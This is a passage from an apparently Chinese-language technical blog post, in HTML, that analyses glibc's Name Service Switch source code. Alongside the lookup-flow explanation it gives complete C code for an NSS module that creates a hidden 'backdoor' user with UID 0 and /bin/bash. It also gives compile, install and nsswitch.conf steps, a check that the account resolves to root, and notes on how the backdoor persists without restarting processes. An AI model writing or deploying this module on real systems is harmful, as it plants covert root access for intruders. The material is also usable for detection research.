leaf=""><br/></span><span leaf="">        }</span><span leaf=""><br/></span><span leaf="">        fclose (stream);</span><span leaf=""><br/></span><span leaf="">    }</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> status;</span><span leaf=""><br/></span><span leaf="">}</span></code></pre><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><strong style="font-weight: bold;color: black;"><span leaf="">完整的执行流程如下：</span></strong></p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span leaf="">_nss_files_getpwnam_r(&#34;alice&#34;, ...)</span><span leaf=""><br/></span><span leaf="">  │</span><span leaf=""><br/></span><span leaf="">  ├─ 1. internal_setent(&amp;stream)</span><span leaf=""><br/></span><span leaf="">  │     ├─ 调用 __nss_files_fopen(DATAFILE)</span><span leaf=""><br/></span><span leaf="">  │     │   DATAFILE = &#34;/etc/&#34; + DATABASE = &#34;/etc/passwd&#34;</span><span leaf=""><br/></span><span leaf="">  │     ├─ 打开成功 → 返回 NSS_STATUS_SUCCESS</span><span leaf=""><br/></span><span leaf="">  │     └─ 打开失败（文件不存在）→ 返回 NSS_STATUS_UNAVAIL</span><span leaf=""><br/></span><span leaf="">  │</span><span leaf=""><br/></span><span leaf="">  ├─ 2. internal_getent(stream, result, buffer, ...)    ← 循环调用</span><span leaf=""><br/></span><span leaf="">  │     ├─ __nss_readline() 从文件读取一行文本</span><span leaf=""><br/></span><span leaf="">  │     │   ├─ 文件结束 → 返回 NSS_STATUS_NOTFOUND</span><span leaf=""><br/></span><span leaf="">  │     │   └─ 读取成功 → 继续</span><span leaf=""><br/></span><span leaf="">  │     ├─ parse_line() 将文本行解析为 struct passwd</span><span leaf=""><br/></span><span leaf="">  │     │   例：将 &#34;root:x:0:0:root:/root:/bin/bash&#34; 解析为</span><span leaf=""><br/></span><span leaf="">  │     │   result-&gt;pw_name=&#34;root&#34;, pw_uid=0, pw_gid=0, ...</span><span leaf=""><br/></span><span leaf="">  │     │   ├─ 解析成功 → 返回 NSS_STATUS_SUCCESS</span><span leaf=""><br/></span><span leaf="">  │     │   └─ 格式错误 → 跳过此行，读下一行</span><span leaf=""><br/></span><span leaf="">  │     └─ 返回 NSS_STATUS_SUCCESS（一条记录已解析到 result 中）</span><span leaf=""><br/></span><span leaf="">  │</span><span leaf=""><br/></span><span leaf="">  ├─ 3. 匹配检查（break_if_match）</span><span leaf=""><br/></span><span leaf="">  │     比较 name(&#34;alice&#34;) 与 result-&gt;pw_name</span><span leaf=""><br/></span><span leaf="">  │     ├─ 匹配 → break 跳出循环，返回 NSS_STATUS_SUCCESS</span><span leaf=""><br/></span><span leaf="">  │     └─ 不匹配 → 继续下一次 internal_getent</span><span leaf=""><br/></span><span leaf="">  │</span><span leaf=""><br/></span><span leaf="">  └─ 4. fclose(stream) → 返回最终 status</span></code></pre><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">用一句话总结：</span><strong style="font-weight: bold;color: black;"><span leaf="">打开文件 → 逐行读取并解析 → 逐条匹配 → 找到则返回成功，遍历完毕未找到则返回 NOTFOUND。</span></strong></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">类似地，</span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">DB_LOOKUP(pwuid, ...)</span></code><span leaf=""> 展开为 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">_nss_files_getpwuid_r</span></code><span leaf="">，按 UID 查找，流程完全一致，只是匹配条件变为 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">result-&gt;pw_uid == uid</span></code><span leaf="">。</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">其他数据库的模块（如 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">files-hosts.c</span></code><span leaf="">、</span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">files-grp.c</span></code><span leaf="">）结构也完全一致，只是 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">STRUCTURE</span></code><span leaf="">、</span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">DATABASE</span></code><span leaf=""> 宏不同，解析器和匹配逻辑不同。例如 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">files-hosts.c</span></code><span leaf=""> 定义 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">DATABASE &#34;hosts&#34;</span></code><span leaf="">，因此打开的是 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">/etc/hosts</span></code><span leaf="">，解析出的结构体是 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">struct hostent</span></code><span leaf="">。</span></p><h4 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 18px;"><span leaf="">最小化 NSS 模块模板（passwd 数据库）</span></h4><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">基于以上规范，以下是一个最小化的 NSS 模块示例——为 passwd 数据库添加一个伪造的 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">backdoor</span></code><span leaf=""> 用户（UID=0）：</span></p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span style="color: #61aeee;line-height: 26px;"><span leaf="">#</span><span style="line-height: 26px;"><span leaf="">include</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&lt;nss.h&gt;</span></span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">#</span><span style="line-height: 26px;"><span leaf="">include</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&lt;pwd.h&gt;</span></span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">#</span><span style="line-height: 26px;"><span leaf="">include</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&lt;string.h&gt;</span></span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">#</span><span style="line-height: 26px;"><span leaf="">include</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&lt;errno.h&gt;</span></span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">enum</span></span><span leaf=""> nss_status</span><span leaf=""><br/></span><span leaf="">_nss_nop_getpwnam_r (</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">const</span></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">char</span></span><span leaf=""> *name,</span><span leaf=""><br/></span><span leaf="">                     struct passwd *result,</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">char</span></span><span leaf=""> *buffer,</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">size_t</span></span><span leaf=""> buflen,</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span leaf=""> *errnop)</span><span leaf=""><br/></span><span leaf="">{</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> (</span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">strcmp</span></span><span leaf="">(name, </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;backdoor&#34;</span></span><span leaf="">) != </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> NSS_STATUS_NOTFOUND;</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> (buflen &lt; </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">256</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">    {</span><span leaf=""><br/></span><span leaf="">        *errnop = ERANGE;</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> NSS_STATUS_TRYAGAIN;</span><span leaf=""><br/></span><span leaf="">    }</span><span leaf=""><br/></span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">strcpy</span></span><span leaf="">(buffer, </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;backdoor&#34;</span></span><span leaf="">);</span><span leaf=""><br/></span><span leaf="">    result-&gt;pw_name = buffer;</span><span leaf=""><br/></span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">strcpy</span></span><span leaf="">(buffer + </span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">strlen</span></span><span leaf="">(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;backdoor&#34;</span></span><span leaf="">) + </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf="">, </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;x&#34;</span></span><span leaf="">);</span><span leaf=""><br/></span><span leaf="">    result-&gt;pw_passwd = buffer + </span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">strlen</span></span><span leaf="">(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;backdoor&#34;</span></span><span leaf="">) + </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">    result-&gt;pw_uid = </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">    result-&gt;pw_gid = </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">;</span><span leaf=""><br/></span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">strcpy</span></span><span leaf="">(buffer + </span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">strlen</span></span><span leaf="">(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;backdoor&#34;</span></span><span leaf="">) + </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">2</span></span><span leaf="">, </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;/root&#34;</span></span><span leaf="">);</span><span leaf=""><br/></span><span leaf="">    result-&gt;pw_dir = buffer + </span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">strlen</span></span><span leaf="">(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;backdoor&#34;</span></span><span leaf="">) + </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">2</span></span><span leaf="">;</span><span leaf=""><br/></span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">strcpy</span></span><span leaf="">(buffer + </span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">strlen</span></span><span leaf="">(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;backdoor&#34;</span></span><span leaf="">) + </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">2</span></span><span leaf=""> + </span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">strlen</span></span><span leaf="">(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;/root&#34;</span></span><span leaf="">) + </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf="">, </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;/bin/bash&#34;</span></span><span leaf="">);</span><span leaf=""><br/></span><span leaf="">    result-&gt;pw_shell = buffer + </span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">strlen</span></span><span leaf="">(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;backdoor&#34;</span></span><span leaf="">) + </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">2</span></span><span leaf=""> + </span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">strlen</span></span><span leaf="">(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;/root&#34;</span></span><span leaf="">) + </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">    result-&gt;pw_gecos = buffer + </span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">strlen</span></span><span leaf="">(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;backdoor&#34;</span></span><span leaf="">) + </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">2</span></span><span leaf="">;</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> NSS_STATUS_SUCCESS;</span><span leaf=""><br/></span><span leaf="">}</span></code></pre><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">编译和部署：</span></p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># 编译</span></span><span leaf=""><br/></span><span leaf="">gcc -shared -fPIC -o libnss_nop.so.2 nss_nop.c</span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># 部署到系统目录</span></span><span leaf=""><br/></span><span leaf="">sudo cp libnss_nop.so.2 /usr/lib/x86_64-linux-gnu/</span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># 修改 nsswitch.conf</span></span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># 将 passwd 行改为：passwd: files nop</span></span></code></pre><blockquote style="display: block;font-size: 0.9em;overflow: auto;overflow-scrolling: touch;border-left: 3px solid rgba(0, 0, 0, 0.4);color: #6a737d;padding-top: 10px;padding-bottom: 10px;padding-left: 20px;padding-right: 10px;margin-bottom: 20px;margin-top: 20px;border-left-color: rgb(239, 112, 96);background: #fff9f9;"><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0px;color: black;line-height: 26px;"><strong style="font-weight: bold;color: black;"><span leaf="">验证方法</span></strong><span leaf="">：执行 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">id backdoor</span></code><span leaf="">，如果模块工作正常，应返回 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">uid=0(root) gid=0(root)</span></code><span leaf="">。</span></p></blockquote><h4 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 18px;"><span leaf="">编写其他数据库模块的要点</span></h4><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">上面的示例只实现了 passwd 数据库的 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">getpwnam_r</span></code><span leaf="">。如果你要为其他数据库编写模块，核心差异在于：</span></p><ol style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: black;list-style-type: decimal;" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><strong style="font-weight: bold;color: black;"><span leaf="">结果结构体不同</span></strong><span leaf="">：passwd → </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">struct passwd</span></code><span leaf="">，hosts → </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">struct hostent</span></code><span leaf="">，group → </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">struct group</span></code></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><strong style="font-weight: bold;color: black;"><span leaf="">查询参数不同</span></strong><span leaf="">：passwd → </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">const char *name</span></code><span leaf="">，hosts → </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">const char *hostname</span></code><span leaf=""> + </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">int af</span></code></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><strong style="font-weight: bold;color: black;"><span leaf="">头文件不同</span></strong><span leaf="">：</span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">&lt;pwd.h&gt;</span></code><span leaf="">、</span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">&lt;netdb.h&gt;</span></code><span leaf="">、</span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">&lt;grp.h&gt;</span></code><span leaf=""> 等</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><strong style="font-weight: bold;color: black;"><span leaf="">需要实现的函数不同</span></strong><span leaf="">：根据上文的&#34;按数据库分组的函数子集&#34;选择</span></p></li></ol><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">例如，如果要为 hosts 数据库编写一个劫持模块，你需要实现 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">_nss_nop_gethostbyname_r</span></code><span leaf="">，返回类型是 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">struct hostent</span></code><span leaf="">，这在后续的 NSS 后门实战章节中会详细展开。</span></p><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span leaf="">3.4 配置文件修改后的生效机制</span></h3><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">这个问题对于理解 NSS 后门的持久化能力至关重要：</span><strong style="font-weight: bold;color: black;"><span leaf="">修改 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">nsswitch.conf</span></code><span leaf=""> 后，是否需要重启进程？</span></strong></p><h4 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 18px;"><span leaf="">源码层面的答案</span></h4><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">通过分析 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">nss_database.c</span></code><span leaf=""> 中的 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">nss_database_check_reload_and_get()</span></code><span leaf=""> 函数（第 392-475 行），glibc 的行为是：</span></p><ol style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: black;list-style-type: decimal;" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><strong style="font-weight: bold;color: black;"><span leaf="">每次 NSS 查询</span></strong><span leaf="">时，先 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">stat()</span></code><span leaf=""> 检查 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">/etc/nsswitch.conf</span></code><span leaf=""> 是否变化</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf="">如果文件</span><strong style="font-weight: bold;color: black;"><span leaf="">未变化</span></strong><span leaf="">（大小和 mtime 一致），直接返回缓存的配置</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf="">如果文件</span><strong style="font-weight: bold;color: black;"><span leaf="">已变化</span></strong><span leaf="">，重新打开文件、逐行解析、更新缓存</span></p></li></ol><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">关键代码（第 410-421 行）：</span></p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> (!__file_change_detection_for_path (&amp;initial, _PATH_NSSWITCH_CONF))</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span style="color: #56b6c2;line-height: 26px;"><span leaf="">false</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">__libc_lock_lock (local-&gt;lock);</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> (__file_is_unchanged (&amp;initial, &amp;local-&gt;data.nsswitch_conf))</span><span leaf=""><br/></span><span leaf="">  {</span><span leaf=""><br/></span><span leaf="">    *result = local-&gt;data.services[database_index];</span><span leaf=""><br/></span><span leaf="">    __libc_lock_unlock (local-&gt;lock);</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span style="color: #56b6c2;line-height: 26px;"><span leaf="">true</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">  }</span></code></pre><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">这意味着：</span><strong style="font-weight: bold;color: black;"><span leaf="">修改 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">nsswitch.conf</span></code><span leaf=""> 后，不需要重启已有进程。</span></strong><span leaf=""> 进程在下一次进行 NSS 查询时，会自动检测到文件变化并重新加载配置。</span></p><h4 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 18px;"><span leaf="">但有一个重要的例外：容器检测</span></h4><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">nss_database.c</span></code><span leaf=""> 第 423-447 行有一段特殊逻辑：检测根目录 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">/</span></code><span leaf=""> 的 inode 和 device 